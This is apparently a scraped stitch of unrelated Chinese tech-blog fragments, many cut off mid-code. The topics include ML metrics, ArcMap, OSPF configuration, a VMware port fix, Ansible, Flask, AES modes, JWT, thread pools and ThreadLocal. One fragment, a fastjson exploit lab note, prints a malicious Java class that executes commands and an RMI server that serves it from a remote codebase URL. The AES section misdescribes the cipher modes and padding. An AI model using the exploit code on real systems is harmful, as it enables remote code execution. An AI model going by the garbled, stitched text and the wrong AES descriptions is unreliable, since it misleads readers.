目录
混淆矩阵
以二分类为例
多分类示例
1.混淆矩阵
2.iou(交并比)
miou
3.召回率
4.acc(准确率)
5.混淆矩阵可视化 完整代码
混淆矩阵 混淆矩阵是大小为 (n_classes, n_classes) 的方阵, n_classes 表示类的数量。混淆矩阵可以用于直观展示每个类别的预测情况。并能从中计算精确值(Accuracy)、精确率(Precision)、召回率(Recall)、交并比(IoU)。
以二分类为例 预测为真预测为假实际为真TPFN实际为假FPTN TP(True Positive):将正类预测为正类数;FN(False Negative):将正类预测为负类数;FP(False Positive):将负类预测为正类数;TN(True Negative):将负类预测为负类数
Accuracy(准确率)是最常用的指标,所有预测正确的占全部的比例 Precision(精度,查准率)看的是在预测为真的情形下有多少是预测正确的,即「精准度」是多少 Recall(召回率,查全率)是看在实际为真的情形中,预测「能召回多少」实际为真的答案 多分类示例 1.混淆矩阵 不想太麻烦,就随机生成了两组44的数据作为真实值b和预测值a,生成混淆矩阵。
#生成数据 import numpy as np a = np.random.randint(0, 6, size=(4,4))#预测值 b = np.random.randint(0, 6, size=(4,4))#真实值 n = 6 print(a) print(b) #生成混淆矩阵 def fast_hist(a, b, n): k = (b >= 0) & (b < n) # 横坐标是预测的类别,纵坐标是真实的类别 #n_class * label_true[mask].
数据编辑——属性编辑 目录 数据编辑——属性编辑 1.属性编辑1.1编辑器操作1.2属性表操作1.2.1属性表存储1.2.2属性表编辑1.2.3查找和选择要素1.2.4编辑属性1.2.5计算属性1.2.6导出数据 1.3属性传递工具 1.属性编辑 属性编辑包括对单要素或多要素属性进行添加、删除、修改、复制、传递或粘贴等多种编辑操作,通常有以下三种方式。
1.1编辑器操作 ①在编辑器中开启编辑,选择需要编辑的要素,单击按钮,在图形窗口中选择需要编辑属性的要素,单击右键,选择属性,打开属性对话框。
②在属性对话框中,上窗口显示被选则的要素,下窗口显示属性字段及其属性值。单击对应字段,可修改其属性值。
1.2属性表操作 1.2.1属性表存储 要素类以表的形式存储。每行表示一个要素。在下面的多边形要素类表中,Shape 列用于保存每个要素的多边形几何。值 Polygon(面) 用于指定该字段中包含的坐标和几何可在一行中定义一个多边形。
属性表中列出了每个地理要素的属性字段,例如名称、类型、长度、宽度、颜色、符号等等。通过属性表,可以查看和编辑地理要素的所有属性,包括文本、数字、日期、图像、音频等等。
1.2.2属性表编辑 在ArcMap视图中,右键单击需要进行属性编辑的数据图层,选择打开属性表,打开该要素的属性表,单击表选项按钮,可以进行增加字段、关联表、属性表导出等操作。
在开启编辑的状态下,双击对应属性框,可编辑修改该字段属性值。
1.2.3查找和选择要素 可以使用属性表中的筛选功能来查找和选择属性满足特定条件的要素。
①打开 ArcMap 并加载要素图层,单击“窗口”菜单,然后选择“属性表”;
②属性表将显示要素图层的所有要素,根据需要,可以选择特定要素并查看其属性;
③要查找特定属性值,请单击属性表上方的“查找”按钮,在弹出的对话框中,选择要查找的属性字段并输入要查找的值。单击“查找”按钮以查找匹配项;
④找到特定要素后,可以选择该要素。单击要素旁边的行号将其选中,若要选择多个要素,请使用“选择”工具(箭头图标),单击并拖动以在地图上创建选择框,选择框内的所有要素将被选中;
⑤如果要选择满足某些条件的所有要素,请使用“选择 by Attributes”工具。单击“选择”菜单,然后选择“通过属性选择”选项。在弹出的对话框中,选择要筛选的属性字段并定义要匹配的条件;
⑥单击“应用”按钮以执行筛选,并选择所有满足条件的要素。
1.2.4编辑属性 可以通过属性表编辑地理要素的属性,包括添加、删除、更新和重命名字段等。
①打开 ArcMap,加载需要编辑的图层,右击该图层,选择“打开属性表”;
②在属性表窗口中,选择需要编辑的要素,单击要素对应的字段,进入编辑模式;
③编辑要素的属性信息,在编辑完成后,单击保存按钮,保存所做的修改;
④如果需要撤销某次编辑操作,可以单击撤销按钮;如果需要删除某个要素,可以选中该要素,然后单击删除按钮。
注意:在编辑属性信息时,需根据要素所属的图层来选择正确的字段,否则会造成数据错误。同时,对于不同类型的要素,可以编辑的属性信息也会有所不同。
1.2.5计算属性 可以使用属性表中的计算器功能来进行数学和逻辑计算,例如求和、平均值、最小值、最大值、标准偏差等。
①打开属性表,右键选择需要计算的字段,点击“计算字段”;
②在计算字段对话框中,可以输入计算表达式。计算表达式可以包含字段名称、数值、运算符和函数等。例如,可以通过以下表达式计算出新字段值:[字段1] + [字段2] / 2 ,这个表达式将字段1的值加上字段2的值的一半,作为新的字段值。
在表达式中,可以使用函数来进行更复杂的计算。例如,可以使用内置的函数如下:
ROUND([字段1], 2):取字段1的值并将其四舍五入到两位小数。
UPPER([字段1]):将字段1的值转换为大写字母。
LEFT([字段1], 3):从字段1的值中取前三个字符。
③点击“确定”按钮,新的字段将被计算出来并添加到属性表中。
注意:在计算属性之前,最好先备份属性表,以免出现错误导致数据丢失。
1.2.6导出数据 可以将属性表中的数据导出到其他软件中进行分析,例如Excel、Access等。
①打开属性表:选择要导出数据的图层,右键单击该图层并选择“打开属性表”;
②选择要导出的数据:使用 Shift 或 Ctrl 键选择要导出的行;
③导出数据:在属性表中,选择“表操作”→“导出”或点击工具栏上的“导出数据”按钮来打开导出数据对话框。在对话框中,选择要保存导出数据的位置和格式,然后点击“保存”按钮;
④配置导出选项:在导出数据对话框中,可以选择要导出的字段、数据分隔符、文本编码等选项,根据需要配置这些选项;
⑤完成导出:点击“确定”按钮开始导出数据。在完成导出后,可以在保存的位置找到导出的数据。
1.3属性传递工具 ①在ArcMap中添加属性传递的源图层和目标图层,在ArcMap视图菜单栏空白处单击右键,打开空间校正工具;
要求 1.完成ip的基础配置
2.进行多区域设计,宣告ospf(完成的标志是各路由器邻接关系形成)
3.在出口设备注入默认路由(完成的标志是每台路由器学习到默认路由)
4.ABR上对用户网段进行汇总精简核心设备路由表(汇总前核心及出口能看到明细用户路由,汇总后则只看到汇总用户路由
5.将末梢区域设置为完全stub区域,精简边缘设备路由表(设置前边缘路由器能看到区间路由信息及E2 的默认路由 设置后看不到区间路由默认路由变成IA)
6.修改cost值,实现数据合理分流,来回路径一致(修改前两条线路等价负载均衡,修改后只走主线路,且宿舍1区和宿舍2区的主线路分开)
7.修改接口网络类型为点到点,加快收敛速度(修改前建立邻居后要选举dr,花费40s时间,修改后不用选举dr快速收敛)
8.配置出口NAT
9.配置安全增强策略(可选)
9.1将连接用户的接口配置为被动接口(设置前,用户接口连接路由设备开启ospf可以建立邻居,设置后无法建立)
9.2 开启ospf验证,并采用md5算法对密码进行加密
1.配置ip 略
2.宣告ospf AR1
[AR1]ospf 1 [AR1-ospf-1]area 0 [AR1-ospf-1-area-0.0.0.0]net 10.10.12.0 0.0.0.255 [AR1-ospf-1-area-0.0.0.0]net 10.10.13.0 0.0.0.255 AR2
[AR2]ospf 1 [AR2-ospf-1]area 0 [AR2-ospf-1-area-0.0.0.0]net 0.0.0.0 0.0.0.0 AR3
[AR3]ospf 1 [AR3-ospf-1]area 0 [AR3-ospf-1-area-0.0.0.0]net 0.0.0.0 0.0.0.0 AR4
[AR4]ospf 1 [AR4-ospf-1]area 0 [AR4-ospf-1-area-0.0.0.0]net 10.10.24.0 0.0.0.255 [AR4-ospf-1-area-0.0.0.1]net 10.10.34.0 0.0.0.255 [AR4-ospf-1]area 1 [AR4-ospf-1-area-0.0.0.1]net 11.10.46.0 0.0.0.255 AR5
[AR5]ospf 1 [AR5-ospf-1]area 0 [AR5-ospf-1-area-0.0.0.0]net 10.10.35.0 0.0.0.255 [AR5-ospf-1-area-0.
一、写在开头 使用Steamcommunity_302,启动服务时提示443/80端口占用,应用程序里看了一圈没发现问题,只好使用命令行查看哪个程序占用,原来是vmware-hostd程序占用了443端口 。vmware-hostd.exe程序是Vmware用于虚拟机共享和远程访问所开启的服务,停用该服务,修改端口号,再启用该服务即可,既不会影响该服务的使用,也可以解决443等关键端口的占用问题。
二、查看端口 netstat -ano 查看电脑端口的时候发现本机有服务正在监听443端口。
我没有在本地运行任何web服务,为什么会监听443端口?
三、查询监听程序 可以看到监听443端口的程序的PID为8380
根据PID查找程序的名称
tasklist | findstr "8380" 发现了一个vmware-hostd.exe程序
这个程序是干啥的?
vmware-hostd.exe是Vmware虚拟机程序默认安装的,并且开机自启
进到Vmware中查看一下:
点击 编辑->首选项->共享虚拟机
vmware-hostd.exe程序是Vmware用于虚拟机共享和远程访问所开启的服务
这个服务平常也不太会使用到,而且443端口也是之后启动Apache等比较重要的端口。
四、更好端口占用 停用该服务:
点击 更改设置,然后点击禁用共享即可(老版本可直接点击禁用共享)
修改该服务占用的端口号:
若要修改需要先向第一种方法那样禁用共享,修改完端口号之后再启用共享即可
目录
前言
恶意类代码:
RMI注册中心以及服务端代码:
问题一:
问题二
调试
问题三
总结
前言 之前分析了fastjson的jdbcRowSetImpl利用链之后当时也是手写了所用的代码并测试,这里面包括rmi注册中心及服务端还有POC代码,在本地测试成功后我在虚拟机中用vulhub启动了一个fastjson漏洞环境进行测试,但是出了问题,记录一下排查问题的过程。
恶意类代码: public class rmiEvilClass { static { try { Runtime.getRuntime().exec(new String[]{"touch","/txt"});//在根目录创建一个txt文件夹 }catch (Exception e){ e.printStackTrace(); } } } RMI注册中心以及服务端代码: import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class rmiServer { public static void main(String[] args)throws Exception { String evilClassurl="http://192.168.1.254:8081"; Registry registry= LocateRegistry.createRegistry(1099); Reference reference=new Reference("rmiEvilClass","rmiEvilClaaa",evilClassurl); ReferenceWrapper referenceWrapper=new ReferenceWrapper(reference); registry.bind("hell",referenceWrapper); } } 乍一看没什么问题。。。
问题一: 首先是命令没有执行,当时猜测了很多原因网络不通,端口占用,防火墙,但是一一检测都没有问题,后来没办法只好抓包了,打开抓包有很多arp在找192.168.1.1的地址,这个就不管了 not arp过滤掉,然后开始我们的请求,这里没有截图,在wireshark上只看到了我们向fastjson服务所在端口的发送payload的http报文,以及tcp建立和断开连接的报文,并没有rmi报文。
我的rmi服务端都没什么问题为啥没报文,这里在网上也找了一会,但是相关内容不多,很多复现都是直接利用工具创建的rmi服务。
1、函数的定义、声明、分类以及调用
1.1、函数声明:如果函数声明在main()函数之后,需要进行函数声明,反正不需要,并且函数声明可以在函数体外
返回值类型 函数名(类型1 形参1,类型2 形参2); 返回值类型 函数名(类型1,类型2...); #include <stdio.h> #include <math.h> void printLog(int a); int getNum(int);//声明函数 void main() { int b= 10; printLog(b); printLog(getNum(20)); printf("半径是4,圆的面积是:%0.7lf\n",atan(1.0)*4*4);//库函数求圆面积 } void printLog(int a) { printf("打印参数=%d\n",a); } int getNum(int b){ return b; } 1.2、函数分类:
1、来源分类为库函数和用户自定义函数
2、有无返回值分为有返回值函数和无返回值函数。返回值为int类型的,声明的时候可以省略不写。不会报错,但是不美观。在 C 语言中,由于参数传递是按值传递而非按引用传递,函数返回一个数组需要使用指针的方式进行传递或返回。因此,在不使用指针的情况下,函数无法返回一维数组或二维数组类型的值。
3、参数传递角度分为无参函数和有参函数
冒泡排序写法
#include <stdio.h> #include <math.h> #define X 12 //#define Y 4 void printLog(int a); int getNum(int); void sortArray(int [X]); void printArray(int [X]); void main() { int b= 10; printLog(b); printLog(getNum(20)); printf("
第一种方法:利用ansible自带的密码认证参数 可以在/etc/ansible/hosts文件中,定义好密码即可,即可实现快速的认证,远程管理主机
参数
ansible_host 主机地址
ansible_port 端口,默认是22端口
ansible_user 认证的用户
ansible_ssh_pass 用户认证的密码
使用hosts文件的参数形式,来实现ssh认证
1.修改hosts文件,在文件最底部加入你要管理的主机,并配置参数 [change] 192.168.200.5 ansible_user=root ansible_ssh_pass=123456 192.168.200.6 ansible_user=root ansible_ssh_pass=123456 2.此时可以不需要输入密码,即可自动ssh验证通过了 [root@m01 ~]# ansible change -m command -a "hostname" 192.168.200.5 | CHANGED | rc=0 >> rsnc01 192.168.200.6 | CHANGED | rc=0 >> nfs01 第二种方法:ssh密钥方式批量管理主机 编写公钥分发脚本
[root@m01 ~]# cat ssh_key_send.sh #!/bin/bash rm -rf ~/.ssh/id_rsa* ssh-keygen -f ~/.ssh/id_rsa -P "" >/dev/null 2>&1 #管理主机的密码 SSH_Pass=123456 #公钥的位置 Key_Path=~/.ssh/id_rsa.pub #5,6为ip地址第三个小数点之后的数字 #192.168.200.$ip为被管理主机所在的网段 for ip in 5 6 do sshpass -p$SSH_Pass ssh-copy-id -i $Key_Path "
from werkzeug.security import generate_password_hash pwd=generate_password_hash(“123456”) print(str(pwd)) import sqlite3,datetime
conn = sqlite3.connect(database=r’E:\pp\students.sqlite3’)
cursor = conn.cursor()
kk = datetime.datetime.now()
#sql1 = “INSERT INTO admin(id, name, pwd, is_super,role_id,addtime) VALUES(1, ‘admin’, ‘pbkdf2:sha256:260000$xiY52DJ3ZZ7hipyD$23b1f1afd5c22bfaafc141a376891821c9cdfad493b34153bb609bf4a11d134d’, 0,0,‘2023-06-20 22:37:12.785588’)”
sql1 = “INSERT INTO role(id, name, auths, addtime) VALUES(0, ‘admin’,0, ‘2023-06-20 22:37:12.785588’)”
cursor.execute(sql1)
2.关闭数据库连接 conn.commit() # 更新数据库
cursor.close() # 关闭cursor对象
conn.close() # 关闭数据库连接
AppData\Local\Programs\Python\Python38\lib\site-packages\flask_wtf\form.py", line 86, in validate_on_submit
return self.is_submitted() and self.validate(extra_validators=extra_validators)
TypeError: validate() got an unexpected keyword argument ‘extra_validators’
该怎么办呀??
以上问题都是因为版本不匹配原因
需要使用python ven解决
taskkill /f /im pyth*
from flask import Flask
app = Flask(name)
@app.route(‘/’)
def hello_world():
return ‘Hello World!’
if name == ‘main’:
app.run()
1. 字符串比较
给定字符串A、B和正整数V,A的长度与B的长度相等,请计算A中满足如下条件的最大连续子串的长度:
1、该连续子串在A和B中的位置和长度均相等。
2、该连续子串|A[i]-B[i]|之和小于等于V。其中|A[i]-B[i]|表示两个字母ASCII码之差的绝对值。
输入描述:
第一行为字符串A,仅包含小写字母,长度是1到1000
第二行为字符串B,仅包含小写字母,长度是1到1000
第三行为正整数V,V取值在0到10000之间,包括10000。
输出描述:
字符串最大连续子串的长度,要求该子串|A[i]-B[i]|之和小于等于V
示例1
输入
xxcdefg
cdefghi
5
输出
2
说明
字符串A为xxcdefg,字符串B为cdefghi,V=5.它的最大连续子串可以是cd->ef,de->fg,ef->gh,fg->hi,所以最大连续子串是2.
21
2. 字符匹配
给你一个字符串数组(每个字符串均由小写字母组成)和一个字符规律(由小写字母和 . 和 * 组成),识别数组中哪些字符串可以匹配到字符规律上。
‘.’匹配任意单个字符,‘*’匹配零个或多个前面的那一个元素,所谓匹配,是要涵盖整个字符串的,而不是部分字符串。
输入描述
第一行为空格分隔的多个字符串,单个字符串长度从1到100,字符串个数从1到100
第二行为字符规律,1<=字符规律长度<=50
不需要考虑异常场景
输出描述:
匹配的字符串在数组中的下标(从0开始),多个匹配时下标升序并用英文逗号分隔,若均不匹配输出-1.
示例1
输入
ab aab
.*
输出
0,1
说明
ab中a匹配. b匹配* 可以完全匹配;aab中a匹配. ab匹配* 可以完全匹配;输出对应字符串数组下标0,1
示例2
输入
ab aab
a.b
输出
1
说明
aab中第一个a匹配a,第二个a匹配. b匹配b可以全匹配;输出对应的字符串数组下标1
3. 找到它
找到它是个小游戏,你需要在一个矩阵中找到给定的单词,假设给定单词HELLOWORLD,在矩阵中只要能找到H->E->L->L->O->W->O->R->L->D连成的单词,就算通过。
注意区分英文字母大小写,并且你只能上下左右行走,不能走回头路。
输入描述:
输入第一行包含两个整数n、m(0<n,m<21),分别表示n行m列的矩阵,第二行时长度不超过100的单词W(在整个矩阵中给定单词只会出现一次),从第三行到到第n+2行时只包含大小写英文字母的长度为m的字符串矩阵。
输出描述:
如果能在矩阵中连成给定的单词,则输出给定单词首字母在矩阵中的位置(第几行 第几列),否则输出“NO”
示例1
输入
AES(高级加密标准)是一种广泛使用的对称密钥加密算法。本文将讨论几种常见的AES加密模式以及填充算法的优缺点。
一、AES加密模式
1. ECB(电子密码本)模式
ECB是最简单的AES加密模式之一。它使用相同的密钥对数据进行多次加密,每次加密都是对整个数据块进行的。由于每次加密都使用相同的密钥,因此对于单个数据块而言,ECB模式是一种非常安全的加密方式。然而,当面对大量数据时,ECB模式的加密速度会非常慢。此外,如果攻击者能够解密先前的数据块,那么他们就能够破解后续的数据块。
2. CBC(串行密钥传输)模式
CBC是一种比ECB更加安全的加密模式。在CBC模式中,每个数据块都被分成两个部分:明文和密钥。第一个数据块被称为“前向块”,第二个数据块被称为“后向块”。前向块的密文是由密钥和前向块一起计算得到的,而后向块的密文则是由密钥和后向块一起计算得到的。这种模式可以确保即使攻击者能够获得密钥的一部分,也无法解密整个数据块。但是,CBC模式的速度较慢,因为需要处理大量的中间结果。
3. CTR(计数器)模式
CTR模式与CBC模式非常相似,但是它使用了不同的密钥分配方法。在CTR模式中,每个数据块都由一个随机数生成器产生,该随机数生成器用于确定数据的索引位置。这使得CTR模式非常适合于流式数据传输,例如视频和音频流媒体。CTR模式也非常快,因为它只需要处理每个数据块的中间结果,而不需要像CBC模式那样处理整个数据块。
4. CFB(可逆计数器)模式
CFB模式类似于CTR模式,但是它使用的是可变长度的密钥。在CFB模式中,每个数据块都有一个偏移量,这个偏移量是根据密钥计算出来的。这使得CFB模式非常适合于多通道应用程序,例如网络路由表。然而,由于密钥的长度可变,所以CFB模式不如CTR模式快速。
在线AES加密解密工具
在线aes加密解密,在线aes加密/解密 - 无双工具
二、填充算法
填充算法用于填充输入数据以匹配AES模式的要求。下面是一些常用的填充算法及其优缺点:
1. NoPadding
NoPadding是一种不使用填充算法的加密模式。这意味着输入数据将被直接编码为字节序列,而不会受到填充的影响。虽然NoPadding模式非常安全,但它会导致填充算法无法正确地处理数据。
2. ZerosPadding
ZerosPadding是一种简单的填充算法,它将输入数据的最后一个字节替换为0。这种填充方式适用于所有AES加密模式,包括ECB、CBC和CTR模式。缺点是填充后的字节数量可能超过原始输入数据的大小。
3. PKCS#5 padding
PKCS#5 padding是一种常见的填充算法,用于填充数据以符合AES模式的要求。这种填充方式使用一个固定长度的填充字节序列,以确保输入数据被完全填充。PKCS#5 padding的优点是它可以适应各种输入数据的大小,但缺点是填充过程可能很慢。
4. PKCS#7 padding
PKCS#7 padding也是一种填充算法,它使用一个固定长度的填充字节序列来填充数据。这种填充方式的优点是可以适应各种输入数据的大小,并且填充过程相对较快。但是,它与PKCS#5 padding一样,可能需要较长的填充时间。
在C++中,函数指针是指向函数的指针变量。它允许将函数作为参数传递给其他函数、动态选择调用的函数以及在运行时改变函数的行为。
函数指针的声明和使用如下所示:
1.声明函数指针类型:
returnType (*pointerName)(parameterTypes)
其中,returnType 是函数返回类型,pointerName 是函数指针变量的名称,parameterTypes 是函数的参数类型。
2.初始化函数指针
pointerName = &functionName;
将函数名赋值给函数指针变量,可以使用取址运算符 & 获取函数的地址。
3.使用函数指针
(*pointerName)(arguments);
使用括号将函数指针变量括起来,再加上参数列表来调用函数。
以下是一个简单的示例,演示函数指针的使用:
#include <iostream> // 声明函数指针类型 typedef void (*PrintFunction)(const std::string&); // 函数1 void printToConsole(const std::string& message) { std::cout << "Console: " << message << std::endl; } // 函数2 void printToError(const std::string& message) { std::cerr << "Error: " << message << std::endl; } int main() { // 声明函数指针变量 PrintFunction printFunc; // 初始化函数指针 printFunc = &printToConsole; // 使用函数指针调用函数1 (*printFunc)("
目录 1. JWT简介1.1 JWT流程1.2 数据结构1.3 JWT使用方法1.4 优势1.5 注意事项 2. Springboot整合JWT2.1 引入依赖2.2 修改配置文件2.3 JWT初始化类2.4 添加JWT过滤器2.5 密码验证登录 前言:相比于传统的session或者cookie登录验证,JWT更为安全。JWT 是 JSON Web Token 的缩写,是为了在网络应用环境间传递声明而执行的一种基于 JSON 的开放标准((RFC 7519)。定义了一种简洁的,自包含的方法用于通信双方之间以 JSON 对象的形式安全的传递信息。因为数字签名的存在,这些信息是可信的,JWT 可以使用 HMAC 算法或者是 RSA 的公私秘钥对进行签名。
1. JWT简介 1.1 JWT流程 JWT完整流程如下:
主要包含以下几个步骤:
用户使用账号和密码发起 POST 请求;服务器使用私钥创建一个 JWT;服务器返回这个 JWT 给浏览器;浏览器将该 JWT 串在请求头中像服务器发送请求;服务器验证该 JWT;返回响应的资源给浏览器。 1.2 数据结构 JWT字符串包含三个部分,依次为:
头部:Header
Header 部分是一个 JSON 对象,描述 JWT 的元数据,通常是下面的样子。 { "alg": "HS256", "typ": "JWT" } 负载:Payload
Payload 部分也是一个 JSON 对象,用来存放实际需要传递的有效信息。有效信息包含三个部分:标准中注册的声明、公共的声明、私有的声明
签名:Signature。
Signature 部分是对前两部分的签名,防止数据篡改。
Wayland 和 X11 协议之间的主要区别 Wayland 和 X11 协议是两种不同的图形显示协议,它们之间的主要区别如下:
1. 架构:X11 是基于客户端-服务器架构的协议,而 Wayland 是基于合成器-客户端架构的协议。在 X11 中,应用程序通过 X 服务器与显示器交互,而在 Wayland 中,应用程序直接与合成器交互,合成器负责将应用程序的输出合成为最终的图像。
2. 性能:Wayland 的性能比 X11 更好,因为它减少了不必要的复制和转换操作。在 X11 中,应用程序的输出需要经过多次复制和转换才能最终显示在屏幕上,而在 Wayland 中,应用程序的输出直接传递给合成器,减少了这些操作。
3. 安全性:Wayland 比 X11 更安全,因为它使用了沙箱技术来隔离应用程序。在 X11 中,应用程序可以访问整个 X 服务器,包括其他应用程序的数据,而在 Wayland 中,每个应用程序都运行在自己的沙箱中,只能访问自己的数据。
4. 兼容性:X11 是一个非常成熟的协议,已经被广泛使用了几十年。许多应用程序和工具都是基于 X11 构建的,因此在 Wayland 中运行这些应用程序可能会出现兼容性问题。不过,Wayland 提供了一个 XWayland 兼容层,可以在 Wayland 中运行 X11 应用程序。
5. 开发难度:Wayland 比 X11 更难开发,因为它需要应用程序直接与合成器交互。这意味着应用程序需要处理更多的细节,例如窗口管理和输入事件处理。相比之下,X11 提供了更高级的抽象层,使得应用程序开发更加简单。
目录
1.概述
2.线程池的优势
2.1.线程池为什么使用自定义方式?
2.2.封装的线程池工具类有什么好处?
3.线程池的七大参数
3.线程池的创建
3.1. 固定数量的线程池
3.2. 带缓存的线程池
3.3. 执⾏定时任务
3.4. 定时任务单线程
3.5. 单线程线程池
3.6. 根据当前CPU⽣成线程池
3.7. ThreadPoolExecutor★★★
4.使用线程池的最佳实践
4.1.拥有适当数量的线程
4.2.使用合适的工作队列
4.3.处理异常
4.4.使用线程池内置的监控和调试工具
5.线程池的使用案例
5.1.引入jar包
5.2.初始化线程池
5.3.测试案例
5.结论
6.鸣谢
1.概述 线程池是一种常见的多线程编程技术,它允许我们在系统中使用一个固定数量的线程来执行任务,以免过多的线程拉低了系统的性能。在本文中,我们将探讨线程池的使用和一些最佳实践,以便在您的代码中获得更好的性能和可维护性。
线程池是一种用于管理和调度多个线程的技术。线程池主要由三个部分组成:
线程管理器:负责启动、停止和管理线程池中的线程。工作队列:用于存储要执行的任务。线程池:包含线程管理器和工作队列。 线程池的工作原理如下:
1)当需要执行一个任务时,线程池会从工作队列中获取一个任务。
2)线程管理器会从线程池中获取一个可用的线程来执行任务。
3)任务执行完成后,线程会返回到线程池中,等待下一个任务的分配。
2.线程池的优势 2.1.线程池为什么使用自定义方式? 因为 java 自带线程池都会有可能造成内存不足的问题。自定义线程池,根据服务器配置定制线程池核心线程、最大线程等,是最好的方式。
2.2.封装的线程池工具类有什么好处? 扩展性高可注解形式实现执行可根据业务需要注册不同的线程池,区分业务模块使用可以执行无返回值线程任务,可以执行有返回值的线程任务 3.线程池的七大参数 核心线程数、最大线程数、多余线程存活时间、时间单位、线程工厂、阻塞队列、拒绝策略
/** * @param corePoolSize 核心线程数 -> 线程池中保持的线程数量,即使它们是空闲的也不会销毁, * 除非设置了{@code allowCoreThreadTimeOut}核心线程超时时间 * @param maximumPoolSize 最大线程数 -> 线程池中允许接收的最大线程数量 * 如果设定的数量比系统支持的线程数还要大时,会抛出OOM(OutOfMemoryError)异常 * @param keepAliveTime 最大存活时间 -> 当前线程数大于核心线程数的时候, * 其他多余的线程接收新任务之前的最大等待时间,超过时间没有新任务就会销毁.
ThreadLocal 是 Java 提供的一个线程级别的变量存储工具,它允许每个线程都有自己独立的变量副本,每个线程可以独立地操作自己的变量副本,互不干扰。本文将详细介绍 ThreadLocal 的原理和使用场景,并通过代码示例进行讲解。
一、ThreadLocal 的原理 1.1 概述 ThreadLocal 提供了一种简单的方式来实现线程封闭(Thread confinement),即将数据与线程关联起来,确保每个线程都拥有自己独立的数据副本,从而避免线程安全问题。在多线程环境下,使用 ThreadLocal 可以方便地实现线程间的数据隔离,保证每个线程都能够访问到自己的数据。
1.2 数据结构 ThreadLocal 内部通过一个特殊的数据结构来存储每个线程的变量副本,这个数据结构被称为 ThreadLocalMap。每个 ThreadLocal 对象作为 key,对应一个 value,表示该线程的变量副本。ThreadLocalMap 是 ThreadLocal 类的一个内部静态类,用于存储线程的局部变量。
ThreadLocal 是线程共享变量。ThreadLoacl 有一个静态内部类 ThreadLocalMap,其 Key 是 ThreadLocal 对象,值是 Entry 对象,ThreadLocalMap是每个线程私有的。
set 给ThreadLocalMap设置值。get 获取ThreadLocalMap。remove 删除ThreadLocalMap类型的对象。 1.3 实现原理 ThreadLocal 的实现原理可以简单概括为以下几个步骤:
在每个线程内部创建一个 ThreadLocalMap 对象,用于存储线程的变量副本。在需要使用线程局部变量的地方,通过 get() 方法获取当前线程对应的 ThreadLocalMap 对象。在 ThreadLocalMap 中以当前 ThreadLocal 对象作为 key,获取或设置变量副本。 具体流程如下图所示:
简单描述也就是这样:
css复制代码main Thread: Thread1: Thread2: ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ Thread │ │ Thread │ │ Thread │ │ Thread │ ├─────────┤ ├─────────┤ ├─────────┤ ├─────────┤ │ ├──┐ │ ├──┐ │ ├───>│ │ └─────────┘ │ └─────────┘ │ └─────────┘ └─────────┘ │ │ get() │ set("
基于Java的个人日记本系统是一个用于记录和管理个人日记的软件系统,可以帮助用户创建、编辑和查看日记等。以下是一个基于Java的个人日记本系统的毕业设计构想:
1. 系统需求分析:
- 确定系统的功能需求和业务场景,包括创建日记、编辑日记、查看日记等。
- 定义用户角色和权限,例如普通用户、管理员等。
- 需要考虑系统的安全性和数据保护措施。
2. 数据库设计:
- 设计合适的数据库表结构,包括日记标题、内容、创建时间等表。
- 考虑表之间的关联关系和约束条件,确保数据的完整性和一致性。
3. 系统模块设计:
- 登录模块:提供用户登录功能,根据角色判断用户的操作权限。
- 创建日记模块:用户可以创建新的日记,包括标题和内容。
- 编辑日记模块:用户可以修改已有的日记,包括标题、内容等。
- 查看日记模块:用户可以查看已有的日记列表,并选择查看具体的日记内容。
- 删除日记模块:用户可以删除已有的日记。
4. 界面设计:
- 根据系统的功能需求,设计用户友好的界面,使用户可以方便地进行操作。
- 使用Swing、JavaFX等界面库,使界面具有良好的交互体验。
5. 系统开发和测试:
- 使用Java语言进行系统的开发,并使用相关开发框架和工具,如Spring、Hibernate等。
- 进行系统的单元测试和集成测试,确保系统的稳定性和功能的完整性。
6. 系统部署和运行:
- 部署系统到服务器,并配置合适的环境和数据库。
- 进行系统的性能测试和安全测试,确保系统能够稳定运行并对用户数据进行保护。
7. 系统维护和优化:
- 对系统进行定期维护,包括数据库备份、日志清理等操作。
- 根据用户反馈和需求,持续优化系统的功能和性能。
以上是一个基于Java的个人日记本系统的毕业设计构想,具体的实施过程和细节可以根据实际情况进行调整和完善。
参考资料:
基于java的个人日记本系统毕业设计(源代码+数据库+部署视频)
https://download.csdn.net/download/dwf1354046363/87813613